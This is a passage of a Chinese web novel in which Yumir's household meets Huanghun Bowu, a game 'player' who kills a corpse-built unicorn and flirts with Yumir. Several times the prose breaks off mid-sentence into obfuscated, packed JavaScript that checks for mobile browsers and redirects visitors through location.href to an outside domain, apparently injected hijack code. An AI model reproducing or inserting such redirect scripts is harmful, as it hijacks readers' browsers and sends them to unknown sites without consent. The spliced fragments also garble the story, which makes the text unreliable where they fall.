“啊!!”尤弥尔大喊一声,抚着胸口惊魂未定,“吓死我了,加嘉莉,你怎么走路也没声音。” “我一直在你身后,只是哥哥鬼鬼祟祟的,没发现我。”加嘉莉看看他,又看看他手里的雨伞,再看看外面明月高悬晴朗的月夜,“哥哥,外面没下雨。” “我知道没下雨。”尤弥尔没打算把方才的猜想告诉小朋友。 只是这一打断,再次侧过头从门的缝隙看出去时,黄昏薄雾和他不知姓名的盟友似乎关系又缓和了不少,心平气和地交谈几句,而后三人并排转身向屋后方的小树林走去。 这应该是……没事了吧? 悬着的心得以落地,尤弥尔放下他用来自卫的雨伞,用饱含歉意的眼神看向妹妹:“我亲爱的妹妹是不是饿了?哥哥给你带了很多好吃的呀。” 加嘉莉摸了摸自己的小肚子:“有点。” 但比起身体上的饥饿,她更缺乏精神上的能量。 自从尤弥尔从黄昏薄雾那把她的暑假作业本要回来,这两天加嘉莉就没过上好日子,一切的娱乐活动都被强制停止,每天困在家中算着日子狂补作业,今天写完二十页明天还有二十页,补完算数补实践日记,就算照抄答案都能把手抄断。 天知道她原本把作业本送给黄昏薄雾就是为了有空出去玩的。 现在的加嘉莉只能可怜巴巴地捧着碗,坐在尤弥尔对面,两只脚晃荡着不沾地,问:“哥哥,今天你出门遇见什么有趣的事情了吗?” “有趣的事情……应该没有吧?就是很普通很平常的一天。” 佣兵团在酒馆被玛丽琳骂了一顿、村里的陌生人魏尔德,还有里夫的葬礼尤弥尔都没准备说。他想了想,给加嘉莉描绘一遍黄昏薄雾变出蝴蝶的满堂喝彩,门外的月色,安静的回家路,以及今天一天老是被人反复提及的,独角兽的传说。 没想到加嘉莉居然知道这个传说。 “刚死或者将死之人如果得到独角兽的怜悯就能复活,所以葬礼时死者的家属都会哭泣,哭得越惨越好,因为他们坚信能哭声能引来独角兽。”小萝卜头相当冷静地复述她从书上看来的故事。 她说完之后还要给这个传说评价一二:“虽然我觉得大概率是假的。” “哥哥,你可以讲下一件有趣的事情了。” “哈、哈。”尤弥尔干笑两声。 他能说什么?能讲的最后一件见闻都被你自己说完了。 他只能往加嘉莉的碗里再加上一块软烂肉骨头,期待经过一下午熬煮的肉质香气能够堵住她的嘴。 不过,哭声…… 说来很奇怪,天没黑时经过中心广场都听见了里夫家方向传来的隐隐哭喊,怎么回来的路上却那么安静。 除了黄昏薄雾永不间断的笑声,和一行人有规律的脚步声,他什么都没听见。 他只记得。很安静。 安静到只余踏浪的潮汐。 。 “真的要这么做吗?”佣兵团成员B很犹豫,“这样不好吧?” “让你做你就做。”黄昏薄雾不耐烦地说。 树木伸展的枝桠遮挡住夜晚唯一的光源,三人现在在洋楼后的小树林,往近是尤弥尔的菜地,往远是连绵的青山。 黄昏薄雾用食指戳了戳自己的太阳穴,示意成员A:“往这砸。” “可是……” “听不懂人话吗?” 灵机一动的后果就是他想顶着满头包去向尤弥尔博取同情,死亡在他看来不过是廉价的消耗品,如果能用来换取尤弥尔的好感度,简直没有比这更白给的买卖。 废物就是废物,连这点小事都做不到,还得让他亲自动手。 黄昏薄雾眉间浮起阴霾,一把抢过成员B的短剑,打算手动给自己开个瓢。 然后把罪责推给佣兵团,反正以他魅力而言,无论他说什么都有大把的人相信。 “够了!” 成员A忍耐不下去,将助纣为虐的成员B往后推出五米远,再抽出袖剑,挡住黄昏薄雾在头顶比比划划的姿态。 “黄昏先生,你知不知道熔金城城主为了找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310004|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到他的儿子,许诺了多少钱,分出了多少地,”他随口说出一个天文数字,“完成这一单,兄弟们就可以永远退休了。” 奖励多大,风险就有多大,同样的,如果他们没能完成城主的任务,就会遭遇永无止境的追杀。 成员A恶狼一般的眼睛死死盯住黄昏薄雾:“我们不是来陪你过家家的,相反,如果你帮我们找到任务目标,无论什么要求我都会答应你……” “哈?你也配?”黄昏薄雾灼灼黑目盛气凌人,嘲弄地似笑非笑,“这个世界的作用就是供我玩乐,你居然敢反驳我!真是的,当一个乖乖听话的工具人不好吗?” “你!” “我怎么了?”黄昏薄雾唇线微微上挑,一个几近凉薄的弧度,“看我不爽?” “那来杀我啊。” 他保证不躲。 夜晚的风突然转急,卷起片片落叶呼呼地往脚底吹。就在黄昏薄雾多次挑衅快要得逞的时候,蓦地,一阵悉悉索索的声音从树林边缘地带。 那声音很轻微,也很规律,和风声混杂在一块,阵阵不停歇。 就像是有什么东西艰难地在地上拖行。 “嗬……啊。” 风吹开茂密林叶,明月透过云层将皎白月光撒向大地,使得黄昏薄雾终于看清神秘物体的脸。 ——里夫。 死去的里夫。不知为何还能活动的里夫。 在蓝纹王蛇之后只剩下半个身体的里夫,胸口之下是空荡荡的烂泥,皮肤腐烂,失去了舌头,失去了双腿,失去了一切生命所需的活动能源,却依旧能爬行的里夫。 月光下,里夫望向黄昏薄雾的眼神空洞又怨毒。 但黄昏薄雾对他的目光全然不在意,他全部的心神都被里夫的头颅吸引。 他头颅上方,有一根从眉心中间钻出的尖角。 尖端是圣洁的白色,末端却是浓稠黏腻的深灰,一圈一圈的螺纹像是直接从里夫的脑子穿孔而出,明明是致死的伤口,却出于某种魔法赋予了其生者的活力。 仿佛把尸体当做一种凭依,一种目的只为载着尖角行走的交通工具。 而里夫就是那个交通工具。 他……又或者是祂,祂具备卓越的隐蔽和偷袭能力,几乎是在黄昏薄雾看清对方的那一刻,“里夫”双臂一撑跳起来,一角捅断了离祂最近的成员B的脖子。 也就是在这一刻,黄昏薄雾灵光一闪。 “独角兽……” 【调查魏尔德:任务进度已更新。】 【调查独角兽的传说。】 原来这就是独角兽的真实面目啊。 14. 第 14 章 屋内。 尤弥尔试着回想回家路上那不同寻常的安静,真的和独角兽有关吗?又或者是其他诡异的事件,比如吸血鬼和恶魔之类的。 越深想越胆颤,人总是会被自己的想象吓到,尤弥尔搓了搓汗毛竖起的胳膊:“吃完了吧加嘉莉,赶快去洗澡,记得把脏衣服放衣篓里,一会我拿去洗了。” “哦。” 碗里最后一块炖肉被一口吞掉,加嘉莉跳下椅子,跑回二楼房间,进行洗澡前的心理准备工作。吃剩的食物和用过的碗放进水池,尤弥尔在哗啦啦持续不断的水声中逐渐平复心情。 哪有那么多灵异事件,不管是独角兽、吸血鬼,还是恶魔,都只是传说中的生物。 离他的生活太远了。 尤弥尔拿了块浅棕色的布把碗刷得飞快,归置好锅碗瓢盆后又顺手擦了桌子,收拾完厨房后有一小段闲暇时间,他回到卧室,稍作休息。 卧室的窗户正对后院菜地,往外是树林和群山,菜地和树林之间有大概五十米的空地。两者之间相隔太远,以普通人的视力从尤弥尔的房间看出去,很难看清树林内发生了什么。 但是尤弥尔的动态视力比其他人强点,他眯起眼睛,似乎看见一个白色的小点在枝干之间上蹿下跳。 太黑了,看不清。 尤弥尔被树林里的小点吸引,忍不住凑得更近,身体几乎探出窗外。 他终于看清那是什么。 “黄昏先生——”尤弥尔用尽全力大声喊,“这么晚了……你怎么没回家?” 反而扛着重弩在树林里跑来跑去的。 不对,说不定已经回过家了,尤弥尔心想,毕竟他们分开的时候黄昏薄雾两手空空,什么都没拿,现在却手持一个快有他半个人那么高的重弩——他又不能凭空变出来。 目力到了极限,更多的尤弥尔就看不见了。他不知道有可怖的怪物正在追逐着黄昏先生,也不知道树林里正发生的血腥屠杀,他只看见了黄昏薄雾,而黄昏薄雾做什么都不奇怪。 用尽力气的叫喊层层扩散,被风送到黄昏薄雾耳边,他一抬头,被游戏强化过的眼睛映出尤弥尔的身影。 他半跪在一棵歪脖子树上,全然不顾身后的独角兽,挥舞双手:“晚上好,尤弥尔。” 尤弥尔:“你在做什么?” “没什么,”黄昏薄雾换了棵树,“到树林里找到了有趣的东西。” 到底得多有趣才能像只猴子荡来荡去去的啊? 尤弥尔不理解,尤弥尔选择尊重祝福。 光看黄昏薄雾身体察觉不到危机,他身上没有血迹,也没有在和尤弥尔搭话时放出弩箭,一边调笑着一边通过换树把里夫牌独角兽限制在一定范围内,保证黑暗和树林足够隐藏祂的身躯。唯一可能让他暴露的,是他起伏的胸膛和额头的汗水,却也全都因为距离过远而被忽略。 “我在看一个新生命诞生的过程,”黄昏薄雾的声音飘荡而来,“太丑了,又傻不拉叽的,感觉没有什么价值耶,还是死掉比较好。” 习以为常的听不懂。 但尤弥尔听见了“死掉”这个关键词,心猛猛向下一坠,他定了定神,大声喊:“那要不要我来陪你?” “不用,尤弥尔太菜了。” 回应之后黄昏薄雾小声嘀咕:“而且胆子也很小,说不定会被直接吓死,还是乖乖呆在家里比较好。” 后面这句尤弥尔无法听见,他趴在窗棂之上,看着黄昏薄雾在树林里雀跃腾跳,像一只翻飞的小鸟,又或是视网膜上无法忽视的噪点。 渐渐的,月亮再次被厚积的云遮挡,越发黑暗的环境他几乎看不见黄昏薄雾的身形,百无聊赖的尤弥尔只好看着菜地里的葡萄发呆。 “尤弥尔!” 远处忽然传来黄昏薄雾的声音,清朗、高昂,略微带有一丝急促,尤弥尔疑惑地抬起头,还没看清树林中的情形,瞬时传来黄昏薄雾的第二次呼喊:“回头!” 也就是在同一瞬间。 轰—— 树林里一声巨响,是和蓝纹王蛇袭击当日类似的爆炸声,尤弥尔用后脑勺对着窗户,错过震荡箭爆发时的强烈白光,爆裂的热浪飘到房间时变成阵阵温暖的轻风。 “黄昏先生?黄昏先生!”尤弥尔赶快跑回窗边,朝外大喊,“你没事吧?!” 不远处的树林飘荡缕缕青烟,连朵火花都没剩下,黑暗中遍寻不到代表黄昏薄雾的白色小点,也没传来有关他的任何声息,尤弥尔有点慌,披了件外套连忙噔噔蹬跑下楼。 他必须去树林里找人了。 哪知道刚下楼,就看见刚才令他心慌的对象就坐在他家沙发上,慢悠悠地往刚洗好的瓷杯倒了半杯冷咖啡,一饮而尽之后吐吐舌头:“尤弥尔,好苦啊。” 尤弥尔:“……” 不是,你刚刚不是还在树林,怎么突然跑到我家里了? “没有呀,我叫完你的名字之后就跑回来了,”黄昏薄雾一副清纯不做作的样子,扇子般的睫羽忽闪忽闪,“尤弥尔居然没看见我,好伤心,是不是眼睛出了问题,明天一早就去看医生吧。” “真的?” “当然是真的啦,”他抬起眉头,眼尾下垂,本就圆润的杏眼顿时呈现出一种控诉质疑的委屈感。 “你想听另一个说辞也可以,其实是因为你身上有我的复活点,我死掉之后马上就能在你身边复活。看你想相信哪一个了?” “……那还是第一个吧。”尤弥尔说。 第二个太离谱,怎么听都觉得是黄昏薄雾在逗他吧。 他那副尊容实在是太惨,爆炸似乎也波及到了他,衣服被炸得破破烂烂,大面积裸露出的皮肤糊满黑色的灰,也不知道究竟是血还是泥土。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310005|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 尤弥尔实在想不明白仅仅是半个小时过去,黄昏薄雾怎么能把自己搞成这副样子,按照衣服破损程度他早就应该被炸死了,可如今去好端端地呆在他家喝咖啡,边喝边抱怨他家的咖啡太苦。 “你要不还是去洗洗吧。”尤弥尔委婉建议。 “你嫌弃我了尤弥尔,你难道不觉得我就算掉进泥坑里也一样优雅美丽吗?” 尤弥尔头摇得飞快:“不觉得。” 他又生气了,尤弥尔觉得自己好像听见咬牙切齿的声音。 但黄昏薄雾是很会调理自己的人,不优雅就不优雅吧,就是因为这份独特他才会对尤弥尔另眼相待,清了清嗓子:“咳咳,尤弥尔我觉得我的身体好痛啊,肯定是刚刚不小心伤到了,我走不动路,要你帮我洗澡才可以,顺带我今天要睡你的床穿你的睡衣才行,要不然我的伤势肯定要加重的。” 这都……什么跟什么啊! 黄昏先生真的太会得寸进尺,见尤弥尔的眼神一言难尽,他顿时咖啡往那一放,身体一蜷缩,破烂的后背全都呈现给尤弥尔,嘴里嘶嘶喊疼,即使如寒潭般深不见底的眼睛,也因为表情太生动而变成隐约祈求的狗狗眼。 “我知道了我知道了,你今天就在这住下吧。”尤弥尔彻底败下阵。 也不知道一个大男人卖萌怎么会卖得如此熟练,尤弥尔忍不住多唠叨了几句:“白天身体就不舒服,晚上就别乱跑啊,大晚上的你就非要去树林里吗?” “因为有有趣的东西嘛。” 黄昏薄雾心情很好,尾音轻飘飘的,像在说无关紧要的事:“尤弥尔你知道独角兽长得很像马吧,四蹄,身体很长,有头的生物。” “所以呢,就要有人组成身体,有人组成头部,有人组成脚和蹄子才行,要不然就太丑了,一点都不像独角兽。” “哦。”尤弥尔听不懂,假装板起个脸,“你以后就算要去小树林也不要一个人去,多危险啊,可以叫上我。对了,你那两个佣兵团盟友呢?” 他还至始至终不知道两个人的姓名呢。 尤弥尔不知道的是,以后他也不会知道了。 黄昏薄雾耸耸肩:“变成脚了啊。” 一只独角兽四条腿,一个人刚好两条腿,再由里夫组成头部,三人拼在刚好组成一只独角兽的雏形。 可惜的是,那只独角兽不甘心还想吸纳玩家作为新的养料,黄昏薄雾只好从游戏背包里掏出武器,斡旋之后用爆炸解决祂。 尤弥尔对此一无所知,他呆呆地啊了一声。 而后一张沾满黑泥的脸在眼前骤然放大,他嗅到了皮肤和□□烧焦后的腥味,夹杂着仿佛来自冬日的吐息。 以及黄昏薄雾畅快放肆的笑声。 “怎么这么呆,什么变成脚啊,你不会真的相信了吧,”他说,“尤弥尔的反应好可爱,我当然是骗你的啊。” 15. 第 15 章 早上六点的时候尤弥尔准时睁开眼睛。 他有轻微的起床困难症,眼睛睁开又闭上,用闷死自己的驾驶被子蒙住头,做足十几分钟的心理准备,再猛地坐起,迷迷糊糊的,金色长发垂落腰间。 他慢慢地转过头,看见黄昏薄雾已经把自己收拾得整整齐齐,盘腿坐在地上,见他醒来,笑意盈盈地打招呼。 “早呀,尤弥尔。” “早。”尤弥尔回应,片刻后慢吞吞地张口,“……这才六点。” 昨天晚上,黄昏薄雾洗完澡后哭着闹着非要和他睡同一张床,尤弥尔答应了,他不认床,无论怎么折腾都能睡得很香。谁知道上床之后黄昏薄雾突然黑了脸,抱起被子说要打地铺。 尤弥尔问他怎么了,他小小声骂骂咧咧说天凉了,是时候让游戏公司破产了。 尤弥尔:“……啊?” 以至于大半夜黄昏薄雾都在抱怨和委屈中度过,直到尤弥尔扛不过生物钟睡着,可第二天醒来,黄昏薄雾依旧精神抖擞的,看上去和昨天半夜并没有什么区别。 黄昏薄雾嘻嘻笑道,眼尾纤长像跃动的蝶翼:“或许我不用睡觉呢?” 尤弥尔竟然在认真思考这个问题。 他说:“那看来你很适合和我一起种菜。” 早起浇水,晚上拉蓬,施肥除草驱赶乌鸦,非常适合高精力人群。 “哈哈哈……”黄昏薄雾噗嗤笑出声,斩钉截铁拒绝,“我才不要!我可是很忙的,每天都要做任务。” 说起来,尤弥尔至今不知道黄昏薄雾的职业究竟是什么,他曾介绍自己是冒险家,但很少见到他离开雾钟村,就算离开最多不过两三天,一点都不符合尤弥尔对冒险家居无定所到处流浪的想象。 虽然有点好奇,但尤弥尔很识趣地没有提起,顺理成章地问起今天的行程安排:“那黄昏先生今天也要做任务吗?” “那当然。” 黄昏薄雾很得意地点点头。 昨晚他杀死了由死去的里夫和两名佣兵团成员构成的独角兽,但【调查魏尔德】的任务并没有更新状态,最新详情点进去依旧显示着:【调查独角兽的传说】。 看来这个叫魏尔德的人和独角兽有莫大的关系,黄昏薄雾想,昨天尤弥尔睡下后他去打扫过战场,什么都没发现,几名死者甚至包括他自己的尸骨都以飞快的速度和周围环境同化,变成毫无线索的土壤。 现在他计划去清扫第二轮,看看有没有遗漏的线索,小心谨慎点总没有错。如果什么都没有发现的话,再去佣兵驻地找人套话。 他可是很忙的。 “今天没有我陪着尤弥尔,你要小心一点,不要把自己卷进乱七八糟的事端中。” “诶,有吗?”尤弥尔忽闪忽闪大眼睛,疑惑道,“我们村不是一向非常安全?” 黄昏薄雾嗤笑道:“那你可真是天真,好多人心里都有鬼呢,就像上次放你鸽子的那个绷带男。” 就算过了一整晚,黄昏先生对魏尔德也依旧念念不忘呢。 尤弥尔对黄昏薄雾的小心眼程度有了新的认知,但也没觉得冒犯或是不满诸如此类负面的情绪,一边嗯嗯答应他的话,一边走到盥洗室洗漱。 他把自己收拾得光彩照人,可尤弥尔还是鸡窝头。 “尤弥尔。”黄昏薄雾非要跟他一同挤进狭小的洗漱间,在他刷牙的时候用指尖挑起一缕长发,“你的头发很漂亮。” 他们一家人的头发颜色都不一样。 玛丽琳的头发是火一样的红,加嘉莉则是黑发双马尾,尤弥尔则是太阳般闪耀的金,他们是由孤儿组成的家庭,他和加嘉莉都是在幼童时期被玛丽琳捡回家的,甚至玛丽琳自己都没有父母。 尤弥尔觉得他的身世没什么见不得人的地方,侧过身体看了眼黄昏薄雾手中长长一缕的金发,再略微抬头,看向他绑在脑后扎成的小辫子。 利落又帅气。 相比之下他的头发就很难打理,因为太长总是在干活的时候沾到泥巴或是别的什么东西,用发圈或者头巾帽子包住也总是滑下来,支撑不了多久。他去行商那咨询过,行商推荐的材料太贵了,尤弥尔仔细盘算之后觉得性价比并不高,索性之后再没管过。 黄昏薄雾拿起梳子帮他梳头,手法轻柔不失速度:“我这有皮筋哦,可以帮你绑起来。” 用蓝纹王蛇的一小截蛇皮和蛇血锻造合成。游戏的锻造方式和真实世界的并不一样,一条蛇只能剥离一张皮,锻造与之相关的任意物品都会消耗一张蛇皮,也就是说,做成盔甲和做成皮筋的消耗是一样的。 总共就杀了两条蛇,还都变成了两截虎口大小的皮筋。黄昏薄雾把尤弥尔的长发全部抓进手心,顺滑的仿佛丝绸一样的触感令他餍足地半眯起眼睛,他早就想这么做了,贪婪和欲望同一时间爆发又被极度克制,最终化作尤弥尔侧颈优雅的髻。 “好看吧?” 尤弥尔惊奇地看着镜中的自己:“黄昏先生的手艺好棒啊,我天天帮加嘉莉都梳不出这么漂亮的发型,真的好漂亮!又很实用!我今天一整天都不会担心干活的时候头发会捣乱了。” 哦、哦呼! 这就是被心上人夸赞的感觉吗? 黄昏薄雾被吹得鼻子都快上天,哼哼两声:“那当然啦,这可是我千辛万苦搞到的材料。” 尤弥尔哇了一声:“那一定很贵吧。” “还好,我亲手猎到的。” “当冒险家也超厉害的!” 价值从来不是黄昏薄雾衡量物品的唯一标准,他的心情才是,就像现在他完全不觉得把稀有材料做成发圈送给尤弥尔是多么肉疼的事,甚至在思考要不要把蓝纹王蛇作为重点击杀对象之一,毕竟发圈这种小东西,说丢就能丢,总要有几个备用的吧。 他全然忘记自己被蓝纹王蛇杀死过很多回。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310006|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尤弥尔顶着崭新的发型走过家里每一间屋,他叫醒玛丽琳和加嘉莉,再在两位小姐收拾自己的时候做早餐。今天尤弥尔不需要去酒馆帮忙,他准备在家里,收拾完后院后研究研究菜谱,为尤弥尔家的饭桌添一道新的菜。 他在厨房忙碌的时候,黄昏薄雾在沙发上研究任务。 任务面板和人物面板同时开着,他搓了搓下巴,盯着自己的属性值仿佛要把它盯出花来,隐约记得之前和佣兵团交锋时,系统因为他负数的智力,狠狠嘲笑他来着。 噔噔蹬,通往二楼的楼梯传来脚步声。 是加嘉莉。 她和玛丽琳共用一个洗漱间,而儿童具有优先权。她收拾完后比玛丽琳先一步下楼,一屁股坐在黄昏薄雾旁边,给自己倒了杯牛奶,顿了顿,再给身边的黄昏大哥哥也倒了一杯。 “呀,加嘉莉。”黄昏薄雾盯着她和她的头顶看了一会,突然开口说话,“这是游戏的恶趣味吗,雾钟村智力最高的人居然是尤弥尔家的小朋友。” 她的头顶浮动着只有黄昏薄雾能看见的属性栏。 【 姓名:加嘉莉 等级:1(满级30) 当前职业:小学生 力量:0 体质:-2(体弱多病) 敏捷:1 智慧:7(你就是传说中的天才儿童吗!) 魅力:3 幸运:3 (每项满值30) 】 黄昏薄雾眉毛微挑,似笑非笑:“帮我个忙,加嘉莉,你不会拒绝的对吧。” “什么?” “你说,‘把一个人活着带回熔金城’,这句话里有什么要注意的点吗?” 加嘉莉看了他一眼,再慢吞吞地喝牛奶,满嘴都是乳白的奶渍,都不用思考:“首先,这得是一个人,其次他必须活着,最后他得被你带回城里而不是别人。既然强调了这三个条件,那说明说出这句话的人希望话中的人是这三个状态,但他自己都不确定这个人是否满足,否则没有强调的必要。” 也就是说,他不一定是人,不一定活着,也不一定愿意回去。 “我想会首先考虑这个人到底是不是活着的吧,要不然强调这个也太奇怪了。” 几乎是在她话音落下,任务日志【调查魏尔德】的下面刷新出一条子任务:【调查魏尔德的状态,判断他究竟是否属于人类。】 “太聪明了小朋友,”黄昏薄雾笑出声,随口道,“一句话就能分析出这么多,你还能看出什么呢?” 加嘉莉哦了一声。 她慢慢地转过头,又慢慢地转回去,老成十足地捧着她的牛奶杯,淡定得好像不带任何一点感情。 “如果你非要问的话,黄昏哥哥,我还能看出来。”加嘉莉的语气四平八稳,无波无浪。 她说:“你好像很想当我嫂子的样子。” 16.第 16 章 “你很想当我嫂子的样子。”加嘉莉说。 “是啊。”如果是说走尤弥尔攻略线的话。 黄昏薄雾点头,竟然大方承认了:“但不是嫂子,是哥夫。” 有什么区别,不都一样吗? 加嘉莉默默喝牛奶,见他眉头拧成一个可怜兮兮的八字形:“连你都看出来了,怎么尤弥尔还不加我的好感度,等得我好心急,尤弥尔也太迟钝了。” 她立刻反驳:“我哥才不迟钝,他没意识到一定是因为黄昏哥还不够努力。” 智力7不愧是智力7,加嘉莉轻而易举就能找到症结。她看得明白,就算看在满好感度的份上她能毫无障碍地接受黄昏薄雾想要加入他们这个家的想法,但哥哥自己的感情生活也不需要一个六岁的小女孩去操心。 她只能拍拍黄昏薄雾的肩膀:“那什么,我哥的新发型很好看,黄昏哥,你加油。” 黄昏薄雾:“……” “你们在聊什么?”尤弥尔从厨房走出。 他没听见两人的对话,也没在意对话的内容,挥舞着锅铲:“饭做好了,叫上玛丽琳一起吃饭吧。” 今天的早餐相对简单。 番茄、洋葱、熏肉和鸡蛋一起闷烤大约十分钟,临出锅前撒上一点黑胡椒。筷子一戳,橘黄的流心便溢了出来,香气和热气无边蔓延。 配菜是刚从后院采下的新鲜水果和用竹篮盛满的起酥面包。 早饭后大家都要各自去忙自己的事,玛丽琳去酒馆,加嘉莉回房间写作业,尤弥尔把黄昏薄雾送到门口。他在这人近乎废柴的生活自理能力和是否要干涉对方生活的疑问之间来回摇摆,最终还是问了出口。 “黄昏先生,晚上你要回我家吃饭吗?” "如果是尤弥尔亲手做的话,就算是毒药我也吃,"黄昏薄雾说,“要不然晚餐就没有意义了。” 毕竟无论是黑面包还是海鲜大餐,对他而言不过都是填补饱食度的工具,必要时候就算是尸体腐烂的肉块也能吃下去。 他拨弄尤弥尔的发髻,漫不经心的,如同抚摸心爱的玩具:“真漂亮啊,尤弥尔,你不觉得海蓝色很衬你的头发吗?” 不等尤弥尔回答,他又开始自言自语:“不过我现在改变主意了,比起你的头发,我觉得你眼睛的绿色更好看,有什么怪物能掉湖绿色的染料……不知道,查查攻略……可恶发圈还是太小了,看不出是情侣款……看样子得换个模具……” 他完全不顾是在尤弥尔家门口,自顾自地陷入思考之中。松散的马尾中间,和尤弥尔同款的发圈若隐若现,可即使是尤弥尔本人也没有往他所期待的那方面想。 为什么不往那方面想? 就该往那方面想,黄昏薄雾忿忿不平。 玩家是游戏的绝对中心,世界本该围绕着他转,每个人都是他称心的木偶,唯一的价值就是供他取乐。如果连这都做不到,那没有存在下去的必要,趁早毁灭—— “你怎么了?”望着发呆的黄昏薄雾,尤弥尔有点担心。 坏了,他不会是昨天把脑子炸坏了吧? 尤弥尔的确不会觉得同款发圈有什么隐含的意义,他家三兄妹都扎马尾,加嘉莉还是双马尾,彼此之间使用同款发绳再正常不过了。 他只会觉得堵在家门口的黄昏薄雾,大晚上非要往树林里跑的黄昏薄雾,会把自己饿死或者毒死的黄昏薄雾—— 额…… 是不是有点太没常识了? 特立独行的另一种说法就是缺乏常识。 晨光之下,尤弥尔看清他的眼睛,他的脸色阴沉,眼睑下撇。很难说看向黄昏薄雾那泥潭一样的眼睛时不会产生毛骨悚然的感觉,尤弥尔强忍恐惧,踮了踮脚。 温热的手贴近额头,掌心之下触感冰凉又细腻。 但这些都不是尤弥尔关注的重点。 “我小时候经常半夜梦魇,早起脑袋会发昏,姐姐就会用手捂住我的头,这样我就会好受一些。” 他有些不好意思,但心里没由来地升起一种对无知人类的诡异责任感,无比认真地对黄昏薄雾说:“看你的脸色我以为你也不舒服,所以我擅自这么做了,对不起,我只是希望你能感觉好一点。” “还有,今晚我会准备黄昏先生的晚饭,不是毒药,所以你能早点回家吗?” “骗子。”手底下的声音听不清晰。 “什么?” “尤弥尔是个骗子呢。”黄昏薄雾感慨。 纵使他才是这个世界的主人,是将摆弄人心视为乐趣的玩家,但万千星辰在金发小人眼中灿烂盛放的瞬间,他感觉到由衷的甜蜜和与之相反的愤慨。 仿佛将他的心一分为二,一半在说尤弥尔好可爱好可爱好可爱。 一半在说尤弥尔你这个爱情的骗子!骗子! 说得那么好听,好感度倒是动一动啊! 。 尤弥尔决定晚上做大餐。 为此他先去趟中心广场,找鱼贩子买了一条海鲈鱼和半打贝壳,再找商人买来牛肋排和异域香辛料,补充库存不足的鸡蛋。 其实尤弥尔规划过在自家后院划片地盖鸡舍,这样鸡蛋和鸡肉就能自给自足,但后院那片地实在太小了,供他种地都不够,温室还是勉勉强强挤出来的。 有点伤心,没法省钱了。 普通人的生活没法不对钱斤斤计较。 海鲜和肉类补充完毕,瓜果蔬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16313339|182876||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜可以从自家后院摘。傍晚逢魔时刻,尤弥尔估摸着一家人回来的事件,推开后院的门,进入他的菜园。 一切都是欣欣向荣,他来回走动,像领主巡视自己的领地,将小番茄、生菜叶、土豆和胡萝卜当作战利品。 走到后院西北侧。 那里曾被炸出一个大坑,种植的作物都被摧毁,而后被尤弥尔随手种上一颗捡来的灰竹笋。 现在他蹲下,观察着竹笋,感觉和之前有点不一样了。 但又说不出哪里不一样。 尖端仍然莹白,然而仔细观察,它生长的位置好像和种下它时有了难以察觉的偏离,阳光照耀下仿佛内里的纹路都像是活着一样在隐隐流动,指尖碰了碰,甚至感觉有暖暖的温度。 这是这种植物的正常生长状态吗? 尤弥尔也不清楚,他决定明天得空,找个机会向村里最富有经验的长辈请教。 伸手往灰竹笋根部又洒了一捧土。 还没来得及拍实,天色便完全暗淡下去,比天幕更深更浓重的阴影笼罩在尤弥尔身上。 他一抬头,认出阴影本人。 “魏尔德先生。” 这是酒馆不告而别后尤弥尔第一次见到他,还是熟悉的不发一言,熟悉的绷带裹满全身,可尤弥尔总觉得哪里变了。 那双微微泛紫的眼睛现在空洞、麻木、死气沉沉,他不知何时站在院子围栏之外,对尤弥尔视若无睹,直挺挺地看向菜园的方向,不知道在寻找什么。 尤弥尔被他的眼神吓得发怵,忍不住加大音量,又喊了声:“魏尔德先生?” “魏尔德!!” 终于,魏尔德如梦初醒。 他的嘴一张一合,看看尤弥尔又看看菜地再看看天空,嘴大张大合像离开水的鱼,眼神比尤弥尔还要惊恐。 到底谁才是受到惊吓的那个啊? 可惜尤弥尔的问题还没发出声,魏尔德就如同惊弓之鸟,他仿佛觉得夜晚降临这件每天都会发生的事情尤为可怕,盯着夜空的眼睛仿佛要脱眶而出,而后烫伤似地垂下,手脚并用拔腿就跑。 明明之前神经大条地还会用肢体语音强行和尤弥尔交流,现在却只是看他一眼,就吓得转身逃跑,连脸上的绷带散开也不管不顾。 他居然逃跑! 我都没尖叫,他居然逃跑! 尤弥尔很惊奇。 